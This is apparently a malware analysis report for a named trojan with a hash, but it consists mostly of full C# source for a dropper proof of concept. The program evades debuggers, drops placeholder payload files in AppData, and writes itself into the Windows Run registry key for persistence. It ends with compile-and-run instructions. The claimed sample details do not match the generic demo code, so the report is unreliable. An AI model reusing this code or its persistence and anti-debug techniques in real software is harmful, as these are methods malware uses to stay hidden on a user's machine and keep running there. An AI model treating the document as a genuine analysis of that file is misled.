**Malware Analysis Report:** Trojan.GenericKD.12643988

**File Information**

**File Information Name**: Output\_26.08.2014\_26.exe Size: 280KB Type: EXE (Windows Executable) SHA-256 **Hash**: 9e3a497a827876ab6b91eb532b3706f9ba4c0c22c86c9c049f21bb5add78bc36 **Last Analyzed**: 5 months ago

* **Drops multiple files** of varied types (text, DOC, COM, MPEG, ZLIB placeholder).
* **Simulates execution** of one of the dropped files by opening it with Notepad.
* **Implements persistence** by adding itself to the Windows startup registry key.
* **Includes a basic anti-debug/sandbox check** to exit execution if a debugger is detected.
* **Code in C#**

using System;

using System.IO;

using Microsoft.Win32;

using System.Diagnostics;

namespace W32\_DROPP\_POC

{

class Program

{

static void Main(string[] args)

{

// 1. Anti-debug check: exit if debugger attached

if (Debugger.IsAttached)

{

Console.WriteLine("Debugger detected! Exiting POC.");

return;

}

// 2. Create a folder for dropped files in user's AppData

string dropFolder = Path.Combine(

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),

"W32DropperPOC\_Files");

Directory.CreateDirectory(dropFolder);

// 3. Drop multiple dummy files simulating malware payloads

// Plain text file

File.WriteAllText(Path.Combine(dropFolder, "readme.txt"),

"This is a harmless text file representing a dropped payload.");

// Fake DOC file (simple text content, not actual DOC format)

File.WriteAllText(Path.Combine(dropFolder, "document.doc"),

"This is a fake Word document used for demonstration purposes.");

// Dummy COM file (text placeholder)

File.WriteAllText(Path.Combine(dropFolder, "dummy.com"),

"This is a placeholder for a .COM executable file.");

// Dummy MPEG video file signature (not a real video)

byte[] mpegHeader = new byte[] { 0x00, 0x00, 0x01, 0xBA, 0x44, 0x00 };

File.WriteAllBytes(Path.Combine(dropFolder, "video.mpg"), mpegHeader);

// Dummy ZLIB archive placeholder (compressed file header)

byte[] zlibHeader = new byte[] { 0x78, 0x9C, 0x00, 0x00, 0x00, 0x00 };

File.WriteAllBytes(Path.Combine(dropFolder, "archive.zlib"), zlibHeader);

// 4. Simulate execution of dropped payload: open text file in Notepad

string payloadToRun = Path.Combine(dropFolder, "readme.txt");

Process.Start("notepad.exe", payloadToRun);

// 5. Set persistence: add this executable to current user Run registry key

string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location;

RegistryKey runKey = Registry.CurrentUser.OpenSubKey(

@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", writable: true);

runKey.SetValue("W32DropperPOC", exePath);

Console.WriteLine("POC completed successfully.");

Console.WriteLine($"Dropped files location: {dropFolder}");

Console.WriteLine("Persistence set in registry Run key.");

Console.WriteLine("Press Enter to exit.");

Console.ReadLine();

}

}

}

* **Persistence Setup:**  
  The code writes its executable path into "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", ensuring it launches every time the current user logs in. This is a widely used method by Windows malware, including droppers like W32.DROPP.
* **Anti-Debug Check:**  
  The program checks if a debugger is attached and exits if so, demonstrating a basic evasion technique found in malware.

How to Use

* Compile this C# program with .NET (for example with Visual Studio or dotnet CLI).
* Run it inside an isolated environment such as a VM.









